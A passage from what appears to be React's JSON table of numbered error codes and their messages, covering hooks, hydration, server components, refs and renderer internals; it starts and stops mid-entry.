indicates a bug in React related to the return pointer. Please file an issue.\",\n  \"190\": \"Return fibers should always be each others' alternates. This error is likely caused by a bug in React. Please file an issue.\",\n  \"191\": \"Invalid argument passed as callback. Expected a function. Instead received: %s\",\n  \"192\": \"React depends on requestAnimationFrame. Make sure that you load a polyfill in older browsers.\",\n  \"193\": \"The server renderer does not implement support for array children yet.\",\n  \"194\": \"Fiber needs to be injected to handle a fiber target for controlled events. This error is likely caused by a bug in React. Please file an issue.\",\n  \"195\": \"The internal instance must be a React host component. This error is likely caused by a bug in React. Please file an issue.\",\n  \"196\": \"Missing injection for fiber getContextForSubtree\",\n  \"197\": \"Injected invokeGuardedCallback() must be a function.\",\n  \"198\": \"clearCaughtError was called but no error was captured. This error is likely caused by a bug in React. Please file an issue.\",\n  \"199\": \"Fiber owners should not show up in Stack stack traces.\",\n  \"200\": \"Target container is not a DOM element.\",\n  \"201\": \"ReactDOM.render(): Invalid component element. Instead of passing a string like 'div', pass React.createElement('div') or <div />.\",\n  \"202\": \"ReactDOM.render(): Invalid component element. Instead of passing a class like Foo, pass React.createElement(Foo) or <Foo />.\",\n  \"203\": \"ReactDOM.render(): Invalid component element. This may be caused by unintentionally loading two independent copies of React.\",\n  \"204\": \"ReactDOM.render(): Invalid component element.\",\n  \"205\": \"renderToNodeStream(): Invalid component element.\",\n  \"206\": \"renderToStaticNodeStream(): Invalid component element.\",\n  \"207\": \"ReactDOMServer.renderToNodeStream(): The streaming API is not available in the browser. Use ReactDOMServer.renderToString() instead.\",\n  \"208\": \"ReactDOMServer.renderToStaticNodeStream(): The streaming API is not available in the browser. Use ReactDOMServer.renderToStaticMarkup() instead.\",\n  \"209\": \"renderToString(): Invalid component element.\",\n  \"210\": \"renderToStaticMarkup(): Invalid component element.\",\n  \"211\": \"Missing injection for fiber findDOMNode\",\n  \"212\": \"Missing injection for stack findDOMNode\",\n  \"213\": \"Element appears to be neither ReactComponent nor DOMNode. Keys: %s\",\n  \"214\": \"toTree() does not yet know how to handle nodes with tag=%s\",\n  \"215\": \"something went wrong\",\n  \"216\": \"Text children should already be flattened.\",\n  \"217\": \"ReactART does not support the type \\\"%s\\\"\",\n  \"218\": \"ReactART: Can not insert node before itself\",\n  \"219\": \"getInspectorDataForViewTag() is not available in production\",\n  \"220\": \"Container does not support insertBefore operation\",\n  \"221\": \"Tried to register two views with the same name %s\",\n  \"222\": \"View config not found for name %s\",\n  \"224\": \"Can't read from currently-mounting component. This error is likely caused by a bug in React. Please file an issue.\",\n  \"225\": \"Unexpected object passed to ReactTestInstance constructor (tag: %s). This is probably a bug in React.\",\n  \"226\": \"Unsupported component type %s in test renderer. This is probably a bug in React.\",\n  \"227\": \"ReactDOM was loaded before React. Make sure you load the React package before loading ReactDOM.\",\n  \"228\": \"TestUtils.Simulate expected a DOM node as the first argument but received a React element. Pass the DOM node you wish to simulate the event on instead. Note that TestUtils.Simulate will not work if you are using shallow rendering.\",\n  \"229\": \"TestUtils.Simulate expected a DOM node as the first argument but received a component instance. Pass the DOM node you wish to simulate the event on instead.\",\n  \"230\": \"_processChildContext is not available in React 16+. This likely means you have multiple copies of React and are attempting to nest a React 15 tree inside a React 16 tree using unstable_renderSubtreeIntoContainer, which isn't supported. Try to make sure you have only one copy of React (and ideally, switch to ReactDOM.unstable_createPortal).\",\n  \"231\": \"Expected `%s` listener to be a function, instead got a value of `%s` type.\",\n  \"232\": \"_processChildContext is not available in React 16+. This likely means you have multiple copies of React and are attempting to nest a React 15 tree inside a React 16 tree using unstable_renderSubtreeIntoContainer, which isn't supported. Try to make sure you have only one copy of React (and ideally, switch to ReactDOM.createPortal).\",\n  \"233\": \"Unsupported top level event type \\\"%s\\\" dispatched\",\n  \"234\": \"Event cannot be both direct and bubbling: %s\",\n  \"235\": \"Persistent reconciler is disabled.\",\n  \"236\": \"Noop reconciler is disabled.\",\n  \"237\": \"Mutating reconciler is disabled.\",\n  \"238\": \"Task updates can only be scheduled as a nested update or inside batchedUpdates. This error is likely caused by a bug in React. Please file an issue.\",\n  \"239\": \"Measure not implemented yet\",\n  \"240\": \"Text components are not supported for now.\",\n  \"241\": \"Text components are not yet supported.\",\n  \"242\": \"%s: %s type `%s` is invalid; it must be a function, usually from the `prop-types` package, but received `%s`.\",\n  \"243\": \"renderRoot was called recursively. This error is likely caused by a bug in React. Please file an issue.\",\n  \"244\": \"Should have a previous and last root. This error is likely caused by a bug in React. Please file an issue.\",\n  \"245\": \"performWorkOnRoot was called recursively. This error is likely caused by a bug in React. Please file an issue.\",\n  \"246\": \"Should be working on a root. This error is likely caused by a bug in React. Please file an issue.\",\n  \"247\": \"A call cannot have host component children.\",\n  \"248\": \"Not implemented.\",\n  \"249\": \"ReactShallowRenderer render(): Shallow rendering works only with custom components, but the provided element type was `%s`.\",\n  \"250\": \"batch.render: Cannot render a batch that already committed.\",\n  \"251\": \"batch.commit: Cannot commit a batch multiple times.\",\n  \"252\": \"The `document` global was defined when React was initialized, but is not defined anymore. This can happen in a test environment if a component schedules an update from an asynchronous callback, but the test has already finished running. To solve this, you can either unmount the component at the end of your test (and ensure that any asynchronous operations get canceled in `componentWillUnmount`), or you can change the test itself to be asynchronous.\",\n  \"253\": \"work.commit(): Cannot commit while already rendering. This likely means you attempted to commit from inside a lifecycle method.\",\n  \"254\": \"Element ref was specified as a string (%s) but no owner was set. This could happen for one of the following reasons:\\n1. You may be adding a ref to a functional component\\n2. You may be adding a ref to a component that was not created inside a component's render method\\n3. You have multiple copies of React loaded\\nSee https://react.dev/link/refs-must-have-owner for more information.\",\n  \"255\": \"Expected ReactFbErrorUtils.invokeGuardedCallback to be a function.\",\n  \"257\": \"Portals are not currently supported by the server renderer. Render them conditionally so that they only appear on the client render.\",\n  \"258\": \"Unknown element-like object type: %s. This is likely a bug in React. Please file an issue.\",\n  \"259\": \"The experimental Call and Return types are not currently supported by the server renderer.\",\n  \"260\": \"Element type is invalid: expected a string (for built-in components) or a class/function (for composite components) but got: %s.\",\n  \"261\": \"Cannot commit an incomplete root. This error is likely caused by a bug in React. Please file an issue.\",\n  \"262\": \"Expired work should have completed. This error is likely caused by a bug in React. Please file an issue.\",\n  \"263\": \"dispatch: Cannot dispatch during the render phase.\",\n  \"264\": \"An error logging effect should not have been scheduled if no errors were captured. This error is likely caused by a bug in React. Please file an issue.\",\n  \"265\": \"This unit of work tag cannot capture errors. This error is likely caused by a bug in React. Please file an issue.\",\n  \"266\": \"A subscription must return an unsubscribe function.\",\n  \"267\": \"The argument must be a React element, but you passed %s.\",\n  \"268\": \"Argument appears to not be a ReactComponent. Keys: %s\",\n  \"269\": \"Profiler must specify an \\\"id\\\" string and \\\"onRender\\\" function as props\",\n  \"270\": \"The current renderer does not support persistence. This error is likely caused by a bug in React. Please file an issue.\",\n  \"271\": \"Failed to replay rendering after an error. This is likely caused by a bug in React. Please file an issue with a reproducing case to help us find it.\",\n  \"273\": \"Nesting of <View> within <Text> is not currently supported.\",\n  \"274\": \"Text strings must be rendered within a <Text> component.\",\n  \"275\": \"The current renderer does not support mutation. This error is likely caused by a bug in React. Please file an issue.\",\n  \"276\": \"React depends on requestAnimationFrame. Make sure that you load a polyfill in older browsers. https://react.dev/link/react-polyfills\",\n  \"277\": \"Context.unstable_read(): Context can only be read while React is rendering, e.g. inside the render method or getDerivedStateFromProps.\",\n  \"278\": \"unstable_createRoot(...): Target container is not a DOM element.\",\n  \"279\": \"Trying to release an event instance into a pool of a different type.\",\n  \"280\": \"setRestoreImplementation() needs to be called to handle a target for controlled events. This error is likely caused by a bug in React. Please file an issue.\",\n  \"281\": \"Finished root should have a work-in-progress. This error is likely caused by a bug in React. Please file an issue.\",\n  \"282\": \"If the root does not have an updateQueue, we should have already bailed out. This error is likely caused by a bug in React. Please file an issue.\",\n  \"283\": \"Element type is invalid. Received a promise that resolves to: %s. Promise elements must resolve to a class or function.\",\n  \"284\": \"Expected ref to be a function, an object returned by React.createRef(), or undefined/null.\",\n  \"285\": \"The root failed to unmount after an error. This is likely a bug in React. Please file an issue.\",\n  \"286\": \"%s(...): the first argument must be a React class instance. Instead received: %s.\",\n  \"287\": \"It is not supported to run the profiling version of a renderer (for example, `react-dom/profiling`) without also replacing the `schedule/tracking` module with `schedule/tracking-profiling`. Your bundler might have a setting for aliasing both modules. Learn more at https://react.dev/link/profiling\",\n  \"288\": \"It is not supported to run the profiling version of a renderer (for example, `react-dom/profiling`) without also replacing the `schedule/tracing` module with `schedule/tracing-profiling`. Your bundler might have a setting for aliasing both modules. Learn more at https://react.dev/link/profiling\",\n  \"289\": \"Function components cannot have refs.\",\n  \"290\": \"Element ref was specified as a string (%s) but no owner was set. This could happen for one of the following reasons:\\n1. You may be adding a ref to a function component\\n2. You may be adding a ref to a component that was not created inside a component's render method\\n3. You have multiple copies of React loaded\\nSee https://react.dev/link/refs-must-have-owner for more information.\",\n  \"292\": \"The matcher `toHaveYielded` expects an instance of React Test Renderer.\\n\\nTry: expect(Scheduler).toHaveYielded(expectedYields)\",\n  \"293\": \"Context can only be read while React is rendering, e.g. inside the render method or getDerivedStateFromProps.\",\n  \"294\": \"ReactDOMServer does not yet support Suspense.\",\n  \"295\": \"ReactDOMServer does not yet support lazy-loaded components.\",\n  \"297\": \"The matcher `unstable_toHaveYielded` expects an instance of React Test Renderer.\\n\\nTry: expect(ReactTestRenderer).unstable_toHaveYielded(expectedYields)\",\n  \"298\": \"Hooks can only be called inside the body of a function component.\",\n  \"299\": \"Target container is not a DOM element.\",\n  \"300\": \"Rendered fewer hooks than expected. This may be caused by an accidental early return statement.\",\n  \"301\": \"Too many re-renders. React limits the number of renders to prevent an infinite loop.\",\n  \"302\": \"It is not supported to run the profiling version of a renderer (for example, `react-dom/profiling`) without also replacing the `scheduler/tracing` module with `scheduler/tracing-profiling`. Your bundler might have a setting for aliasing both modules. Learn more at https://react.dev/link/profiling\",\n  \"303\": \"ReactDOMServer did not find an internal fallback frame for Suspense. This is a bug in React. Please file an issue.\",\n  \"304\": \"Maximum number of concurrent React renderers exceeded. This can happen if you are not properly destroying the Readable provided by React. Ensure that you call .destroy() on it if you no longer want to read from it, and did not read to the end. If you use .pipe() this should be automatic.\",\n  \"305\": \"The current renderer does not support hydration. This error is likely caused by a bug in React. Please file an issue.\",\n  \"306\": \"Element type is invalid. Received a promise that resolves to: %s. Lazy element type must resolve to a class or function.%s\",\n  \"307\": \"Hooks can only be called inside the body of a function component. (https://react.dev/link/invalid-hook-call)\",\n  \"308\": \"Context can only be read while React is rendering. In classes, you can read it in the render method or getDerivedStateFromProps. In function components, you can read it directly in the function body, but not inside Hooks like useReducer() or useMemo().\",\n  \"309\": \"Function components cannot have string refs. We recommend using useRef() instead. Learn more about using refs safely here: https://react.dev/link/strict-mode-string-ref\",\n  \"310\": \"Rendered more hooks than during the previous render.\",\n  \"311\": \"Should have a queue. You are likely calling Hooks conditionally, which is not allowed. (https://react.dev/link/invalid-hook-call)\",\n  \"312\": \"Rendered more hooks than during the previous render\",\n  \"313\": \"Unknown priority level. This error is likely caused by a bug in React. Please file an issue.\",\n  \"314\": \"Pinged unknown suspense boundary type. This is probably a bug in React.\",\n  \"315\": \"Suspense boundaries are never on the root. This is probably a bug in React.\",\n  \"316\": \"Expected skipPastDehydratedSuspenseInstance() to never be called. This error is likely caused by a bug in React. Please file an issue.\",\n  \"317\": \"Expected to have a hydrated suspense instance. This error is likely caused by a bug in React. Please file an issue.\",\n  \"318\": \"A dehydrated suspense component was completed without a hydrated node. This is probably a bug in React.\",\n  \"319\": \"A dehydrated suspense boundary must commit before trying to render. This is probably a bug in React.\",\n  \"320\": \"Expected ReactFiberErrorDialog.showErrorDialog to be a function.\",\n  \"321\": \"Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for one of the following reasons:\\n1. You might have mismatching versions of React and the renderer (such as React DOM)\\n2. You might be breaking the Rules of Hooks\\n3. You might have more than one copy of React in the same app\\nSee https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.\",\n  \"322\": \"forwardRef requires a render function but was given %s.\",\n  \"323\": \"React has blocked a javascript: URL as a security precaution.\",\n  \"326\": \"Expected a valid priority level\",\n  \"327\": \"Should not already be working.\",\n  \"328\": \"Should have a work-in-progress.\",\n  \"329\": \"Unknown root exit status.\",\n  \"330\": \"Should be working on an effect.\",\n  \"331\": \"Cannot flush passive effects while already rendering.\",\n  \"332\": \"Unknown priority level.\",\n  \"333\": \"This should have a parent host component initialized. This error is likely caused by a bug in React. Please file an issue.\",\n  \"334\": \"Accumulated items must not be null or undefined.\",\n  \"335\": \"ReactDOMServer does not yet support the event API.\",\n  \"338\": \"ReactDOMServer does not yet support the fundamental API.\",\n  \"340\": \"Threw in newly mounted dehydrated component. This is likely a bug in React. Please file an issue.\",\n  \"341\": \"We just came from a parent so we must have had a parent. This is a bug in React.\",\n  \"342\": \"A React component suspended while rendering, but no fallback UI was specified.\\n\\nAdd a <Suspense fallback=...> component higher in the tree to provide a loading indicator or placeholder to display.\",\n  \"343\": \"ReactDOMServer does not yet support scope components.\",\n  \"344\": \"Expected prepareToHydrateHostSuspenseInstance() to never be called. This error is likely caused by a bug in React. Please file an issue.\",\n  \"345\": \"Root did not complete. This is a bug in React.\",\n  \"348\": \"ensureListeningTo(): received a container that was not an element node. This is likely a bug in React.\",\n  \"349\": \"Expected a work-in-progress root. This is a bug in React. Please file an issue.\",\n  \"350\": \"Cannot read from mutable source during the current render without tearing. This may be a bug in React. Please file an issue.\",\n  \"351\": \"Unsupported Server Component type: %s\",\n  \"352\": \"React Lazy Components are not yet supported on the server.\",\n  \"353\": \"A server block should never encode any other slots. This is a bug in React.\",\n  \"354\": \"getInspectorDataForViewAtPoint() is not available in production.\",\n  \"355\": \"The object passed back from useOpaqueIdentifier is meant to be passed through to attributes only. Do not read the value directly. (TODO: This feature was never released so we should be able to remove this error from the map.)\",\n  \"356\": \"Could not read the cache.\",\n  \"357\": \"The current renderer does not support React Scopes. This error is likely caused by a bug in React. Please file an issue.\",\n  \"358\": \"Invalid update priority: %s. This is a bug in React.\",\n  \"360\": \"Invalid lane: %s. This is a bug in React.\",\n  \"361\": \"The current renderer does not support test selectors. This error is likely caused by a bug in React. Please file an issue.\",\n  \"362\": \"Could not find React container within specified host subtree.\",\n  \"363\": \"Test selector API is not supported by this renderer.\",\n  \"364\": \"Invalid host root specified. Should be either a React container or a node with a testname attribute.\",\n  \"365\": \"Invalid selector type specified.\",\n  \"366\": \"ReactDOM.createEventHandle: setListener called on an target that did not have a corresponding root. This is likely a bug in React.\",\n  \"367\": \"ReactDOM.createEventHandle: setListener called on an element target that is not managed by React. Ensure React rendered the DOM element.\",\n  \"368\": \"ReactDOM.createEventHandle: setListener called on an invalid target. Provide a valid EventTarget or an element managed by React.\",\n  \"369\": \"ReactDOM.createEventHandle: setter called on an invalid target. Provide a valid EventTarget or an element managed by React.\",\n  \"370\": \"ReactDOM.createEventHandle: setter called with an invalid callback. The callback must be a function.\",\n  \"371\": \"Text string must be rendered within a <Text> component.\\n\\nText: %s\",\n  \"372\": \"Cannot call unstable_createEventHandle with \\\"%s\\\", as it is not an event known to React.\",\n  \"373\": \"This Hook is not supported in Server Components.\",\n  \"374\": \"Event handlers cannot be passed to Client Component props.%s\\nIf you need interactivity, consider converting part of this to a Client Component.\",\n  \"375\": \"Functions cannot be passed directly to Client Components unless you explicitly expose it by marking it with \\\"use server\\\". Or maybe you meant to call this function rather than return it.%s\",\n  \"376\": \"Only global symbols received from Symbol.for(...) can be passed to Client Components. The symbol Symbol.for(%s) cannot be found among global symbols.%s\",\n  \"377\": \"BigInt (%s) is not yet supported in Client Component props.%s\",\n  \"378\": \"Type %s is not supported in Client Component props.%s\",\n  \"379\": \"Refs cannot be used in Server Components, nor passed to Client Components.\",\n  \"380\": \"Reading the cache is only supported while rendering.\",\n  \"381\": \"This feature is not supported by ReactSuspenseTestUtils.\",\n  \"382\": \"This query has received more parameters than the last time the same query was used. Always pass the exact number of parameters that the query needs.\",\n  \"383\": \"This query has received fewer parameters than the last time the same query was used. Always pass the exact number of parameters that the query needs.\",\n  \"384\": \"Refreshing the cache is not supported in Server Components.\",\n  \"385\": \"A mutable source was mutated while the %s component was rendering. This is not supported. Move any mutations into event handlers or effects.\",\n  \"386\": \"The current renderer does not support microtasks. This error is likely caused by a bug in React. Please file an issue.\",\n  \"387\": \"Should have a current fiber. This is a bug in React.\",\n  \"388\": \"Expected to find a bailed out fiber. This is a bug in React.\",\n  \"389\": \"There can only be one root segment. This is a bug in React.\",\n  \"390\": \"Aborted, errored or already flushed boundaries should not be flushed again. This is a bug in React.\",\n  \"391\": \"A previously unvisited boundary must have exactly one root segment. This is a bug in React.\",\n  \"392\": \"A root segment ID must have been assigned by now. This is a bug in React.\",\n  \"393\": \"Cache cannot be refreshed during server rendering.\",\n  \"394\": \"startTransition cannot be called during server rendering.\",\n  \"395\": \"An ID must have been assigned before we can complete the boundary.\",\n  \"396\": \"More boundaries or placeholders than we expected to ever emit.\",\n  \"397\": \"Unknown insertion mode. This is a bug in React.\",\n  \"398\": \"`dangerouslySetInnerHTML` does not work on <option>.\",\n  \"399\": \"%s is a self-closing tag and must neither have `children` nor use `dangerouslySetInnerHTML`.\",\n  \"400\": \"menuitems cannot have `children` nor `dangerouslySetInnerHTML`.\",\n  \"401\": \"The stacks must reach the root at the same time. This is a bug in React.\",\n  \"402\": \"The depth must equal at least at zero before reaching the root. This is a bug in React.\",\n  \"403\": \"Tried to pop a Context at the root of the app. This is a bug in React.\",\n  \"404\": \"Invalid hook call. Hooks can only be called inside of the body of a function component.\",\n  \"405\": \"hydrateRoot(...): Target container is not a DOM element.\",\n  \"406\": \"act(...) is not supported in production builds of React.\",\n  \"407\": \"Missing getServerSnapshot, which is required for server-rendered content. Will revert to client rendering.\",\n  \"408\": \"Missing getServerSnapshot, which is required for server-rendered content.\",\n  \"409\": \"Cannot update an unmounted root.\",\n  \"411\": \"%s suspended while rendering, but no fallback UI was specified.\\n\\nAdd a <Suspense fallback=...> component higher in the tree to provide a loading indicator or placeholder to display.\",\n  \"412\": \"Connection closed.\",\n  \"413\": \"Expected finished root and lanes to be set. This is a bug in React.\",\n  \"414\": \"Did not expect this call in production. This is a bug in React. Please file an issue.\",\n  \"415\": \"Error parsing the data. It's probably an error code or network corruption.\",\n  \"416\": \"This environment don't support binary chunks.\",\n  \"417\": \"React currently only supports piping to one writable stream.\",\n  \"418\": \"Hydration failed because the server rendered %s didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\\n\\n- A server/client branch `if (typeof window !== 'undefined')`.\\n- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\\n- Date formatting in a user's locale which doesn't match the server.\\n- External changing data without sending a snapshot of it along with the HTML.\\n- Invalid HTML tag nesting.\\n\\nIt can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\\n\\nhttps://react.dev/link/hydration-mismatch%s\",\n  \"419\": \"The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.\",\n  \"420\": \"ServerContext: %s already defined\",\n  \"421\": \"This Suspense boundary received an update before it finished hydrating. This caused the boundary to switch to client rendering. The usual way to fix this is to wrap the original update in startTransition.\",\n  \"422\": \"There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.\",\n  \"423\": \"There was an error while hydrating but React was able to recover by instead client rendering the entire root.\",\n  \"424\": \"This root received an early update, before anything was able hydrate. Switched the entire root to client rendering.\",\n  \"425\": \"Text content does not match server-rendered HTML.\",\n  \"426\": \"A component suspended while responding to synchronous input. This will cause the UI to be replaced with a loading indicator. To fix, updates that suspend should be wrapped with startTransition.\",\n  \"427\": \"useServerContext expects a context created with React.createServerContext\",\n  \"428\": \"useServerContext is only supported while rendering.\",\n  \"429\": \"ServerContext: %s already defined\",\n  \"430\": \"ServerContext can only have a value prop and children. Found: %s\",\n  \"431\": \"React elements are not allowed in ServerContext\",\n  \"432\": \"The render was aborted by the server without a reason.\",\n  \"433\": \"useId can only be used while React is rendering\",\n  \"434\": \"`dangerouslySetInnerHTML` does not make sense on <title>.\",\n  \"435\": \"Unexpected Suspense handler tag (%s). This is a bug in React.\",\n  \"436\": \"Stylesheet resources need a unique representation in the DOM while hydrating and more than one matching DOM Node was found. To fix, ensure you are only rendering one stylesheet link with an href attribute of \\\"%s\\\".\",\n  \"437\": \"the \\\"precedence\\\" prop for links to stylesheets expects to receive a string but received something of type \\\"%s\\\" instead.\",\n  \"438\": \"An unsupported type was passed to use(): %s\",\n  \"439\": \"We didn't expect to see a forward reference. This is a bug in the React Server.\",\n  \"440\": \"A function wrapped in useEffectEvent can't be called during rendering.\",\n  \"441\": \"An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.\",\n  \"442\": \"The current renderer does not support Resources. This error is likely caused by a bug in React. Please file an issue.\",\n  \"443\": \"acquireResource encountered a resource type it did not expect: \\\"%s\\\". this is a bug in React.\",\n  \"444\": \"getResource encountered a type it did not expect: \\\"%s\\\". this is a bug in React.\",\n  \"445\": \"\\\"currentResources\\\" was expected to exist. This is a bug in React.\",\n  \"446\": \"\\\"resourceRoot\\\" was expected to exist. This is a bug in React.\",\n  \"447\": \"While attempting to insert a Resource, React expected the Document to contain a head element but it was not found.\",\n  \"448\": \"createPortal was called on the server. Portals are not currently supported on the server. Update your program to conditionally call createPortal on the client only.\",\n  \"449\": \"flushSync was called on the server. This is likely caused by a function being called during render or in module scope that was intended to be called from an effect or event handler. Update your to not call flushSync no the server.\",\n  \"450\": \"The current renderer does not support Singletons. This error is likely caused by a bug in React. Please file an issue.\",\n  \"451\": \"resolveSingletonInstance was called with an element type that is not supported. This is a bug in React.\",\n  \"452\": \"React expected an <html> element (document.documentElement) to exist in the Document but one was not found. React never removes the documentElement for any Document it renders into so the cause is likely in some other script running on this page.\",\n  \"453\": \"React expected a <head> element (document.head) to exist in the Document but one was not found. React never removes the head for any Document it renders into so the cause is likely in some other script running on this page.\",\n  \"454\": \"React expected a <body> element (document.body) to exist in the Document but one was not found. React never removes the body for any Document it renders into so the cause is likely in some other script running on this page.\",\n  \"455\": \"This CacheSignal was requested outside React which means that it is immediately aborted.\",\n  \"456\": \"Calling Offscreen.detach before instance handle has been set.\",\n  \"457\": \"acquireHeadResource encountered a resource type it did not expect: \\\"%s\\\". This is a bug in React.\",\n  \"458\": \"Currently React only supports one RSC renderer at a time.\",\n  \"459\": \"Expected a suspended thenable. This is a bug in React. Please file an issue.\",\n  \"460\": \"Suspense Exception: This is not a real error! It's an implementation detail of `use` to interrupt the current render. You must either rethrow it immediately, or move the `use` call outside of the `try/catch` block. Capturing without rethrowing will lead to unexpected behavior.\\n\\nTo handle async errors, wrap your component in an error boundary, or call the promise's `.catch` method and pass the result to `use`.\",\n  \"461\": \"This is not a real error. It's an implementation detail of React's selective hydration feature. If this leaks into userspace, it's a bug in React. Please file an issue.\",\n  \"462\": \"Unexpected SuspendedReason. This is a bug in React.\",\n  \"463\": \"ReactDOMServer.renderToNodeStream(): The Node Stream API is not available in Bun. Use ReactDOMServer.renderToReadableStream() instead.\",\n  \"464\": \"ReactDOMServer.renderToStaticNodeStream(): The Node Stream API is not available in Bun. Use ReactDOMServer.renderToReadableStream() instead.\",\n  \"465\": \"enableFizzExternalRuntime without enableFloat is not supported. This should never appear in production, since it means you are using a misconfigured React bundle.\",\n  \"466\": \"Trying to call a function from \\\"use server\\\" but the callServer option was not implemented in your router runtime.\",\n  \"467\": \"Update hook called on initial render. This is likely a bug in React. Please file an issue.\",\n  \"468\": \"getNodesForType encountered a type it did not expect: \\\"%s\\\". This is a bug in React.\",\n  \"469\": \"Client Functions cannot be passed directly to Server Functions. Only Functions passed from the Server can be passed back again.\",\n  \"470\": \"Only global symbols received from Symbol.for(...) can be passed to Server Functions. The symbol Symbol.for(%s) cannot be found among global symbols.\",\n  \"471\": \"BigInt (%s) is not yet supported as an argument to a Server Function.\",\n  \"472\": \"Type %s is not supported as an argument to a Server Function.\",\n  \"473\": \"React doesn't accept base64 encoded file uploads because we don't except form data passed from a browser to ever encode data that way. If that's the wrong assumption, we can easily fix it.\",\n  \"474\": \"Suspense Exception: This is not a real error, and should not leak into userspace. If you're seeing this, it's likely a bug in React.\",\n  \"475\": \"Internal React Error: suspendedState null when it was expected to exists. Please report this as a React bug.\",\n  \"476\": \"Expected the form instance to be a HostComponent. This is a bug in React.\",\n  \"477\": \"React Internal Error: processHintChunk is not implemented for Native-Relay. The fact that this method was called means there is a bug in React.\",\n  \"478\": \"Thenable should have already resolved. This is a bug in React.\",\n  \"479\": \"Cannot update optimistic state while rendering.\",\n  \"480\": \"File/Blob fields are not yet supported in progressive forms. Will fallback to client hydration.\",\n  \"481\": \"Tried to encode a Server Action from a different instance than the encoder is from. This is a bug in React.\",\n  \"482\": \"An unknown Component is an async Client Component. Only Server Components can be async at the moment. This error is often caused by accidentally adding `'use client'` to a module that was originally written for the server.\",\n  \"483\": \"Hooks are not supported inside an async component. This error is often caused by accidentally adding `'use client'` to a module that was originally written for the server.\",\n  \"484\": \"A Server Component was postponed. The reason is omitted in production builds to avoid leaking sensitive details.\",\n  \"485\": \"Cannot update action state while rendering.\",\n  \"486\": \"It should not be possible to postpone at the root. This is a bug in React.\",\n  \"487\": \"We should not have any resumable nodes in the shell. This is a bug in React.\",\n  \"488\": \"Couldn't find all resumable slots by key/index during replaying. The tree doesn't match so React will fallback to client rendering.\",\n  \"489\": \"Expected the resume to render <%s> in this slot but instead it rendered <%s>. The tree doesn't match so React will fallback to client rendering.\",\n  \"490\": \"Expected the resume to render <%s> in this slot but instead it rendered <%s>. The tree doesn't match so React will fallback to client rendering.\",\n  \"491\": \"It should not be possible to postpone both at the root of an element as well as a slot below. This is a bug in React.\",\n  \"492\": \"The \\\"react\\\" package in this environment is not configured correctly. The \\\"react-server\\\" condition must be enabled in any environment that runs React Server Components.\",\n  \"493\": \"To taint a value, a lifetime must be defined by passing an object that holds the value.\",\n  \"494\": \"taintUniqueValue cannot taint objects or functions. Try taintObjectReference instead.\",\n  \"495\": \"Cannot taint a %s because the value is too general and not unique enough to block globally.\",\n  \"496\": \"Only objects or functions can be passed to taintObjectReference. Try taintUniqueValue instead.\",\n  \"497\": \"Only objects or functions can be passed to taintObjectReference.\",\n  \"498\": \"Only plain objects, and a few built-ins, can be passed to Client Components from Server Components. Classes or null prototypes are not supported.%s\",\n  \"499\": \"Only plain objects, and a few built-ins, can be passed to Server Functions. Classes or null prototypes are not supported.%s\",\n  \"500\": \"React expected a headers state to exist when emitEarlyPreloads was called but did not find it. This suggests emitEarlyPreloads was called more than once per request. This is a bug in React.\",\n  \"501\": \"The render was aborted with postpone when the shell is incomplete. Reason: %s\",\n  \"502\": \"Cannot read a Client Context from a Server Component.\",\n  \"503\": \"Cannot use() an already resolved Client Reference.\",\n  \"504\": \"Failed to read a RSC payload created by a development version of React on the server while using a production version on the client. Always use matching versions on the server and the client.\",\n  \"505\": \"Cannot render an Async Component, Promise or React.Lazy inside React.Children. We recommend not iterating over children and just rendering them plain.\",\n  \"506\": \"Functions are not valid as a child of Client Components. This may happen if you return %s instead of <%s /> from render. Or maybe you meant to call this function rather than return it.%s\",\n  \"507\": \"Expected the last optional `callback` argument to be a function. Instead received: %s.\",\n  \"508\": \"The first argument must be a React class instance. Instead received: %s.\",\n  \"509\": \"ReactDOM: Unsupported Legacy Mode API.\",\n  \"510\": \"React Element cannot be passed to Server Functions from the Client without a temporary reference set. Pass a TemporaryReferenceSet to the options.%s\",\n  \"511\": \"Missing a temporary reference set but the RSC response returned a temporary reference. Pass a temporaryReference option with the set that was used with the reply.\",\n  \"512\": \"The RSC response contained a reference that doesn't exist in the temporary reference set. Always pass the matching set that was used to create the reply when parsing its response.\",\n  \"513\": \"Cannot render a Client Context Provider on the Server. Instead, you can export a Client Component wrapper that itself renders a Client Context Provider.\",\n  \"514\": \"Cannot access %s on the server. You cannot dot into a temporary client reference from a server component. You can only pass the value through to the client.\",\n  \"515\": \"Cannot assign to a temporary client reference from a server module.\",\n  \"516\": \"Attempted to call a temporary Client Reference from the server but it is on the client. It's not possible to invoke a client function from the server, it can only be rendered as a Component or passed to props of a Client Component.\",\n  \"517\": \"Symbols cannot be passed to a Server Function without a temporary reference set. Pass a TemporaryReferenceSet to the options.%s\",\n  \"518\": \"Saw multiple hydration diff roots in a pass. This is a bug in React.\",\n  \"519\": \"Hydration Mismatch Exception: This is not a real error, and should not leak into userspace. If you're seeing this, it's likely a bug in React.\",\n  \"520\": \"There was an error during concurrent rendering but React was able to recover by instead synchronously rendering the entire root.\",\n  \"521\": \"flushSyncWork should not be called from builds that support legacy mode. This is a bug in React.\",\n  \"522\": \"Invalid form element. requestFormReset must be passed a form that was rendered by React.\",\n  \"523\": \"The render was aborted due to being postponed.\",\n  \"524\": \"Values cannot be passed to next() of AsyncIterables passed to Client Components.\",\n  \"525\": \"A React Element from an older version of React was rendered. This is not supported. It can happen if:\\n- Multiple copies of the \\\"react\\\" package is used.\\n- A library pre-bundled an old copy of \\\"react\\\" or \\\"react/jsx-runtime\\\".\\n- A compiler tries to \\\"inline\\\" JSX instead of using the runtime.\",\n  \"526\": \"Could not reference an opaque temporary reference. This is likely due to misconfiguring the temporaryReferences options on the server.\",\n  \"527\": \"Incompatible React versions: The \\\"react\\\" and \\\"react-dom\\\" packages must have the exact same version. Instead got:\\n  - react:      %s\\n  - react-dom:  %s\\nLearn more: https://react.dev/warnings/version-mismatch\",\n  \"528\": \"Expected <link> not to update to be updated to a stylesheet with precedence. Check the `rel`, `href`, and `precedence` props of this component. Alternatively, check whether two different <link> components render in the same slot or share the same key.%s\",\n  \"529\": \"Expected 